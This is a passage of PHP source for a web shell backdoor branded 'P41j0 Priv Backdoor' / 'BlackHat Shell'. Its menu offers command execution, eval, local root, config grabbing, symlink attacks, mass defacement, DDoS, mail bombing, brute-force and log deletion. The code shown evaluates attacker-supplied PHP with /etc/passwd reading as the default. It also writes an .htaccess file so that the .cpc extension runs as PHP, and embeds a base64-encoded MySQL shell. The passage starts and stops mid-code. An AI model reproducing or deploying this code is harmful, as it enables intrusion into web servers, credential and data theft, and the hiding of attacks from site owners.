var next_char = "rantit('" + text + "'," + max + "," + delay + "," + new_char + "," + max + ");"
if(runs_left > 0){
setTimeout(rerun, delay);
}
else{
if (charvar < text.length){
setTimeout(next_char, Math.round(delay*(charvar+3)/(charvar+1)));
}
else
{
done = 1;
}
}
}
}
if (document.all||document.getElementById)
statusIn(thetitle)
</script>
<body onLoad="document.getElementById('cmd').focus();" bgcolor="#000" marginwidth="0" marginheight="0" style="background: black url(http://robertwdempsey.com/wp-content/uploads/2016/01/black-hat-data-wrangler.jpeg)
no-repeat center center fixed; -webkit-background-size: cover; -moz-background-size: cover; -o-background-size: cover;
background-size:cover;" onload="type_text()" bottommargin="0" rightmargin="0" leftmargin="0" topmargin="0">
<!-- head info start here -->
<center><font color="#00CC33"> <==P41j0 Priv Backdoor==></font></span>
<div class="main">
<table align="center">
<td style="border:1px solid #3C953D; width:320px; padding:15px 30px 15px 30px; font-size:12px;" align="left" >
Server ip : <?php echo $server_ip."<br><br> Your ip : ".$my_ip."<br><br> Admin : <b>".$admin_id."</b><br />";?><br><br><br>
<div id="menu">
<a href="?" style="border:1px solid #3C953D;font:12px orbitron; padding:5px 5px 5px 5px; margin:inherit;">H O M E</a>
<a href="?<?php echo "y=".$pwd; ?>&x=about" style="border:1px solid #3C953D;font:12px orbitron; padding:5px 5px 5px 5px;" >About Me</a>
<a href="?<?phwd;?>&x=kill" style="border:1px solid #3C953D;font:12px orbitron; padding:5px 5px 5px 5px;">Kill Shell</a>
<a href="?<?php echo "y=".$pwd; ?>&x=logout" style="border:1px solid #3C953D;font:12px orbitron; padding:5px 5px 5px 5px;">Log Out</a></div>
</td>
<td style="border:1px solid #3C953D; width:400px;"> <center> <img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAALQAAAC0CAMAAAAKE/YAAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyRpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNiAoTWFjaW50b3NoKSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo5NjIxMjNGRDkzODMxMUUzOEJGOUZBMTQ5RjgwMUE5NCIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo5NjIxMjNGRTkzODMxMUUzOEJGOUZBMTQ5RjgwMUE5NCI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjk2MjEyM0ZCOTM4MzExRTM4QkY5RkExNDlGODAxQTk0IiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjk2MjEyM0ZDOTM4MzExRTM4QkY5RkExNDlGODAxQTk0Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+dmCOigAAAuJQTFRFAAAA////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" height="120" width="240" />
<br> BlackHat Shell<br>-= 1 n 7 3 c t i o n R e c o d e d B y p 4 1 j 0 =-<br /></center></td>
<td style="border:1px solid #3C953D; font-size:12px; padding:10px 20px 10px 20px;"> <?php echo $buff ?><br>
<a style="border:1px solid #3C953D;font:12px orbitron; padding:5px 5px 5px 5px;"><?php echo "MySQL: ".testmysql()." | MSSQL: ".testmssql()." | Oracle: ".testoracle()." | Perl: ".testperl()." | cURL: ".testcurl()." | WGet: ".testwget()."";?>
</a></td>
</tr>
</table>
<table><td style="border:1px solid #3C953D; font-size:16px; width:1300px;padding:5px 20px 5px 20px; ><tr">
Direktori : <?php echo " <font color=00ff00 ><b>".$letters." > " .$pwdurl."</b></font>"; ?>
</tr></table>
<!-- head info end here -->
<!-- menu start -->
<center>
<div id="menu">
<a href="?<?php echo "y=".$pwd; ?>&x=indomieseleraku">Server Info</a>
<a href="?<?php echo "y=".$pwd; ?>&x=shell">Shell</a>
<a href="?<?php echo "y=".$pwd; ?>&x=php">Eval</a>
<a href="?<?php echo "y=".$pwd; ?>&x=netsploit">Net Sploit</a>
<a href="?<?php echo "y=".$pwd; ?>&x=mysql">Mysql</a>
<a href="?<?php echo "y=".$pwd; ?>&x=upload">Upload</a>
<a href="?<?php echo "y=".$pwd; ?>&x=mass">Mass Deface</a>
<a href="?<?php echo "y=".$pwd; ?>&x=zone_h">Zone-H</a>
<a href="?<?php echo "y=".$pwd; ?>&x=jumpingz">Jumping Server</a>
<a href="?<?php echo "y=".$pwd; ?>&x=w00ts">Local Root</a>
<a href="?<?php echo "y=".$pwd; ?>&x=grabconfig">Config Grabber</a>
<a href="?<?php echo "y=".$pwd; ?>&x=symlinkmenu">Symlink</a>
<a href="?<?php echo "y=".$pwd; ?>&x=domain">Domain Viewer</a>
<a href="?<?php echo "y=".$pwd; ?>&x=dump">DB Dump</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=cpmenu">Cpanel Tools</a>
<a href="?<?php echo "y=".$pwd; ?>&x=bfmenu">BruteForce Tools</a>
<a href="?<?php echo "y=".$pwd; ?>&x=bypasmenu">Bypass Tools</a>
<a href="?<?php echo "y=".$pwd; ?>&x=wpmenu">WordPress Tools</a>
<a href="?<?php echo "y=".$pwd; ?>&x=jmmenu">Joomla Tools</a>
<a href="?<?php echo "y=".$pwd; ?>&x=litespeedconfig">LitespeedConfig</a>
<a href="?<?php echo "y=".$pwd; ?>&x=config">Config</a>
<a href="?<?php echo "y=".$pwd; ?>&x=hash">Password Hash</a>
<a href="?<?php echo "y=".$pwd; ?>&x=hashid">Hash ID</a>
<a href="?<?php echo "y=".$pwd; ?>&x=string">Script Encode Decode</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=tools">Complate Tools</a>
<a href="?<?php echo "y=".$pwd; ?>&x=dos">DDOS</a>
<a href="?<?php echo "y=".$pwd; ?>&x=whmcs">WHMCS Decoder</a>
<a href="?<?php echo "y=".$pwd; ?>&x=bingreverse">Reverse IP</a>
<a href="?<?php echo "y=".$pwd; ?>&x=mailerz">Mailer Inbox</a>
<a href="?<?php echo "y=".$pwd; ?>&x=mailfilter">Mail Filter</a>
<a href="?<?php echo "y=".$pwd; ?>&x=mailbomber">Mail Bomb</a>
<a href="?<?php echo "y=".$pwd; ?>&x=shellfinder">Shell Finder</a>
<a href="?<?php echo "y=".$pwd; ?>&x=dellogs">Delete log</a>
<br><br>
</div></center>
<!-- menu end -->
<?php
@ini_set('display_errors', 0);
if(isset($_GET['x']) && ($_GET['x'] == 'php')){ ?>
<form action="?y=<?php echo $pwd; ?>&x=php" method="post">
<table class="cmdbox">
<tr><td>
<textarea class="output" name="cmd" id="cmd">
<?php
if(isset($_POST['submitcmd'])) {
echo eval(magicboom($_POST['cmd']));
}
else echo "echo file_get_contents('/etc/passwd');";
?>
</textarea>
<tr><td><input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitcmd" /></td></tr></form>
</form>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'sql'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=sql" method="post" >
<?php
echo "<center/><br/><b><font color=#00ff00>+--==[ Mysql Interface ]==--+</font></b><br><br>";
mkdir('mysql', 0755);
chdir('mysql');
$akses = ".htaccess";
$buka_lah = "$akses";
$buka = fopen ($buka_lah , 'w') or die ("Error cuyy!");
$metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-php .cpc
";
fwrite ( $buka , $metin ) ;
fclose ($buka);
$sqlshell = 'PD8NCiRQQVNTV09SRCA9ICJyb290X3hoYWhheCI7DQokVVNFUk5BTUUgPSAieGhhaGF4IjsNCmlmICggZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykgKSB7DQoJJG9ub2ZmID0gaW5pX2dldCgncmVnaXN0ZXJfZ2xvYmFscycpOw0KfSBlbHNlIHsNCgkkb25vZmYgPSBnZXRfY2ZnX3ZhcigncmVnaXN0ZXJfZ2xvYmFscycpOw0KfQ0KaWYgKCRvbm9mZiAhPSAxKSB7DQoJQGV4dHJhY3QoJEhUVFBfU0VSVkVSX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfQ09PS0lFX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfUE9TVF9GSUxFUywgRVhUUl9TS0lQKTsNCglAZXh0cmFjdCgkSFRUUF9QT1NUX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfR0VUX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfRU5WX1ZBUlMsIEVYVFJfU0tJUCk7DQp9DQoNCmZ1bmN0aW9uIGxvZ29uKCkgew0KCWdsb2JhbCAkUEhQX1NFTEY7DQoJc2V0Y29va2llKCAibXlzcWxfd2ViX2FkbWluX3VzZXJuYW1lIiApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKTsNCglzZXRjb29raWUoICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICk7DQoJZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgaGVpZ2h0PTEwMCU+PHRyPjx0ZD48Y2VudGVyPlxuIjsNCgllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9Mj48dHI+PHRkPjxjZW50ZXI+XG4iOw0KCWVjaG8gIjx0YWJsZSBjZWxscGFkZGluZz0yMD48dHI+PHRkPjxjZW50ZXI+XG4iOw0KCWVjaG8gIjxoMT5NeVNRTCBJbnRlcmZhY2UgQnkgUzRNUDRIPC9oMT5cbiI7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9Ykc5bmIyNWZjM1ZpYldsMD5cbiI7DQoJZWNobyAiPHRhYmxlIGNlbGxwYWRkaW5nPTUgY2VsbHNwYWNpbmc9MT5cbiI7DQoJZWNobyAiPHRyPjx0ZCBjbGFzcz1cIm5ld1wiPkhvc3RuYW1lIDwvdGQ+PHRkPiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9aG9zdG5hbWUgdmFsdWU9J2xvY2FsaG9zdCc+PC90ZD48L3RyPlxuIjsNCgllY2hvICI8dHI+PHRkIGNsYXNzPVwibmV3XCI+VXNlcm5hbWUgPC90ZD48dGQ+IDxpbnB1dCB0eXBlPXRleHQgbmFtZT11c2VybmFtZT48L3RkPjwvdHI+XG4iOw0KCWVjaG8gIjx0cj48dGQgY2xhc3M9XCJuZXdcIj5QYXNzd29yZCA8L3RkPjx0ZD4gPGlucHV0IHR5cGU9cGFzc3dvcmQgbmFtZT1wYXNzd29yZD48L3RkPjwvdHI+XG4iOw0KCWVjaG8gIjwvdGFibGU+PHA+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRW50ZXInPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1yZXNldCB2YWx1ZT0nQ2xlYXInPjxicj5cbiI7DQoJZWNobyAiPC9mb3JtPlxuIjsNCgllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7DQoJZWNobyAiPC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+XG4iOw0KCWVjaG8gIjxwPjxociB3aWR0aD0zMDA+XG4iOw0KCWVjaG8gIjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gbG9nb25fc3VibWl0KCkgew0KCWdsb2JhbCAkdXNlcm5hbWUsICRwYXNzd29yZCwgJGhvc3RuYW1lICwkUEhQX1NFTEY7DQoJaWYoJGhvc3RuYW1lID09JycpDQoJCSRob3N0bmFtZSA9ICdsb2NhbGhvc3QnOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl91c2VybmFtZSIsICR1c2VybmFtZSApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIsICRwYXNzd29yZCApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIsICRob3N0bmFtZSApOw0KCWVjaG8gIjxNRVRBIEhUVFAtRVFVSVY9UmVmcmVzaCBDT05URU5UPScwOyBVUkw9JFBIUF9TRUxGP2FjdGlvbj1iR2x6ZEVSQ2N3PT0nPiI7DQp9DQoNCmZ1bmN0aW9uIGVjaG9RdWVyeVJlc3VsdCgpIHsNCglnbG9iYWwgJHF1ZXJ5U3RyLCAkZXJyTXNnOw0KCWlmKCAkZXJyTXNnID09ICIiICkgJGVyck1zZyA9ICJTdWNjZXNzIjsNCglpZiggJHF1ZXJ5U3RyICE9ICIiICkgew0KCQllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9NT5cbiI7DQoJCWVjaG8gIjx0cj48dGQ+UXVlcnk8L3RkPjx0ZD4kcXVlcnlTdHI8L3RkPjwvdHI+XG4iOw0KCQllY2hvICI8dHI+PHRkPlJlc3VsdDwvdGQ+PHRkPiRlcnJNc2c8L3RkPjwvdHI+XG4iOw0KCQllY2hvICI8L3RhYmxlPjxwPlxuIjsNCgl9DQp9DQoNCmZ1bmN0aW9uIGxpc3REYXRhYmFzZXMoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJFBIUF9TRUxGOw0KCWVjaG8gIjxoMT5EYXRhYmFzZXMgTGlzdDwvaDE+XG4iOw0KCWVjaG8gIjxmb3JtIGFjdGlvbj0nJFBIUF9TRUxGJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWNyZWF0ZURCPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NyZWF0ZSBEYXRhYmFzZSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQoJZWNobyAiPGhyPlxuIjsNCgllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz01PlxuIjsNCgkkcERCID0gbXlzcWxfbGlzdF9kYnMoICRteXNxbEhhbmRsZSApOw0KCSRudW0gPSBteXNxbF9udW1fcm93cyggJHBEQiApOw0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRkYm5hbWUgPSBteXNxbF9kYm5hbWUoICRwREIsICRpICk7DQoJCWVjaG8gIjx0cj5cbiI7DQoJCWVjaG8gIjx0ZD4kZGJuYW1lPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWxpc3RUYWJsZXMmZGJuYW1lPSRkYm5hbWUnPlRhYmxlczwvYT48L3RkPlxuIjsNCgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHJvcERCJmRibmFtZT0kZGJuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0Ryb3AgRGF0YWJhc2UgXCckZGJuYW1lXCc/JylcIj5Ecm9wPC9hPjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kdW1wREImZGJuYW1lPSRkYm5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHVtcCBEYXRhYmFzZSBcJyRkYm5hbWVcJz8nKVwiPkR1bXA8L2E+PC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gY3JlYXRlRGF0YWJhc2UoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOw0KCW15c3FsX2NyZWF0ZV9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJbGlzdERhdGFiYXNlcygpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wRGF0YWJhc2UoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOw0KCW15c3FsX2Ryb3BfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCWxpc3REYXRhYmFzZXMoKTsNCn0NCg0KZnVuY3Rpb24gbGlzdFRhYmxlcygpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkUEhQX1NFTEY7DQoJZWNobyAiPGgxPlRhYmxlcyBMaXN0PC9oMT5cbiI7DQoJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZTwvcD5cbiI7DQoJZWNob1F1ZXJ5UmVzdWx0KCk7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9Y3JlYXRlVGFibGU+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9dGFibGVuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NyZWF0ZSBUYWJsZSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9cXVlcnk+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IHNpemU9MTIwIG5hbWU9cXVlcnlTdHI+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nUXVlcnknPlxuIjsNCgllY2hvICI8L2Zvcm0+XG4iOw0KCWVjaG8gIjxocj5cbiI7DQoJJHBUYWJsZSA9IG15c3FsX2xpc3RfdGFibGVzKCAkZGJuYW1lICk7DQoJaWYoICRwVGFibGUgPT0gMCApIHsNCgkJJG1zZyAgPSBteXNxbF9lcnJvcigpOw0KCQllY2hvICI8aDM+RXJyb3IgOiAkbXNnPC9oMz48cD5cbiI7DQoJCXJldHVybjsNCgl9DQoJJG51bSA9IG15c3FsX251bV9yb3dzKCAkcFRhYmxlICk7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsNCgkJJHRhYmxlbmFtZSA9IG15c3FsX3RhYmxlbmFtZSggJHBUYWJsZSwgJGkgKTsNCgkJZWNobyAiPHRyPlxuIjsNCgkJZWNobyAiPHRkPlxuIjsNCgkJZWNobyAiJHRhYmxlbmFtZVxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5EYXRhPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHJvcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0Ryb3AgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5Ecm9wPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHVtcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0R1bXA